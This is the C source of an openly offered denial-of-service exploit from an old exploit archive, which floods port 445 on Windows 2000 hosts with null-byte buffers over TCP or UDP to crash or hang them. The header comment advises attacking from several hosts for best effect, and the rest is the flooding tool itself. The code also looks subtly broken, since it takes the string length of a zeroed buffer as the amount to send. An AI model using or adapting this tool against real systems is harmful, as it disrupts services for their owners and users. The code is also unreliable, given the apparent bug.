Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/opt/pentoo/ExploitTree/system/microsoft/remote/ms-ds-xploit.c

C/C++ Source or Header | 2005-02-12 | 4KB | 154 lines

/********************************************************
*     Microsoft Windows 2000 Remote DoS         *
*    ---------------------------------        *
*                            *
* Hello :)                        *
* This is an DoS exploit that utilizes the flaw found     *
* by KPMG Denmark, to crasch or hang any Win2k box     *
* running the LanMan server on port 445 (ms-ds).      *
* What it does is just a simple 10k NULL string        *
* bombardment of port 445 TCP or UDP.            *
*                            *
*                                            *
* By: Daniel Nystrom <[e-mail]>        *
* Download: www.telhack.tk / exce.darktech.org        *
*                            *
* Suggestions: When performing the attack, use UDP if     *
*           you are attacking from a single host.     *
*           TCP only eats about 35% CPU on an AMD    *
*           Athlon XP 1800+ while UDP eats 99%.      *
*           So if TCP is the only option, use more   *
*           than one attacking host. All in all this *
*              DoS is "pretty weak" and should be used  *
*              from more than one host in each attack   *
*              to get the best result.                  *
*                            *
* Compiles on: Linux (Debian 2.2r6 and RH 7.3 tested).  *
*              Should compile on other *nix's as well.  *
*                            *
* Thanks: Peter Grundl, for answering my Q's :)         *
*                            *
* greets: xenogen, ifa-, zeromatic, RTJ, all@telhack    *
*                            *
********************************************************/

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define MICROSOFT_DS_PORT 445

unsigned long resolveTarget(char nstarget[]);


int main(int argc, char *argv[])
{
        int sock;
    int count;
    struct sockaddr_in target;
    unsigned short port = MICROSOFT_DS_PORT;
    char *nullbuffer;


    printf("%c[41m", 0x1B);
    fprintf(stdout, "\n--[ excE's Remote Microsoft Windows 2000 DoS (microsoft-ds)\n");
    printf("%c[0m", 0x1B);
    fprintf(stdout, "-----------------------------------------------------------\n");

        if(argc != 4)
        {
                fprintf(stderr, "--[ Invalid number of parameters!\n");
                fprintf(stderr, "--[ Usage: %s <Server IP> <TCP/UDP> <Send Count>\n", argv[0]);
                fprintf(stderr, "--[ Forex: %s 127.0.0.1 UDP 10000\n\n", argv[0]);
                exit(-1);
        }

    nullbuffer = (char *) malloc(10*1024*sizeof(char));
    bzero(nullbuffer,sizeof(nullbuffer));

    fprintf(stdout, "--[ Starting attack on %s...\n", argv[1]);

    memset(&target, 0, sizeof(target));
    target.sin_family     = AF_INET;
    target.sin_addr.s_addr     = resolveTarget(argv[1]);
    target.sin_port        = htons(port);


    if(argv[2][0] == 'U')
    {
        if((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
        {
            perror("socket() failed ");
            exit(-1);
        }

        fprintf(stdout, "--[ Sending NULL byte string * %d via UDP\n", atoi(argv[3]));

        for(count=0;count<atoi(argv[3]);count++)
        {
            if(sendto(sock, nullbuffer, strlen(nullbuffer), 0, (struct sockaddr *) &target, sizeof(target)) != strlen(nullbuffer))
            {
                perror("sendto() failed ");
                exit(-1);
            } else { printf("."); }
        }
        close(sock);
        printf("\n");
    }
     else if(argv[2][0] == 'T')
    {

        fprintf(stdout, "--[ Connecting and sending NULL byte string * %d...\n", atoi(argv[3]));

        if((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        {
            perror("socket() failed ");
            exit(-1);
        }

        if(connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0)
        {
            perror("connect() failed ");
            exit(-1);
        }

        for(count=0;count<atoi(argv[3]);count++)
        {
            if(send(sock, nullbuffer, strlen(nullbuffer), 0) != strlen(nullbuffer))
            {
                perror("send() failed ");
                exit(-1);
            } else { printf("."); }

        }
        close(sock);
        printf("\n");
    } else
    {
        fprintf(stderr, "--[ Error: You must define a protocol (TCP or UDP)\n\n");
        exit(-1);
    }

    fprintf(stdout, "--[ Finished flooding target!\n");
    fprintf(stdout, "--[ http://www.telhack.tk\n");

    return 0;
}

unsigned long resolveTarget(char nstarget[])
{
    struct hostent *targetname;

    if((targetname=gethostbyname(nstarget)) == NULL)
    {
        fprintf(stderr, "--[ Name lookup failed. Please enter a valid IP or hostname\n");
        exit(-1);
    }

    return *((unsigned long *) targetname->h_addr_list[0]);
}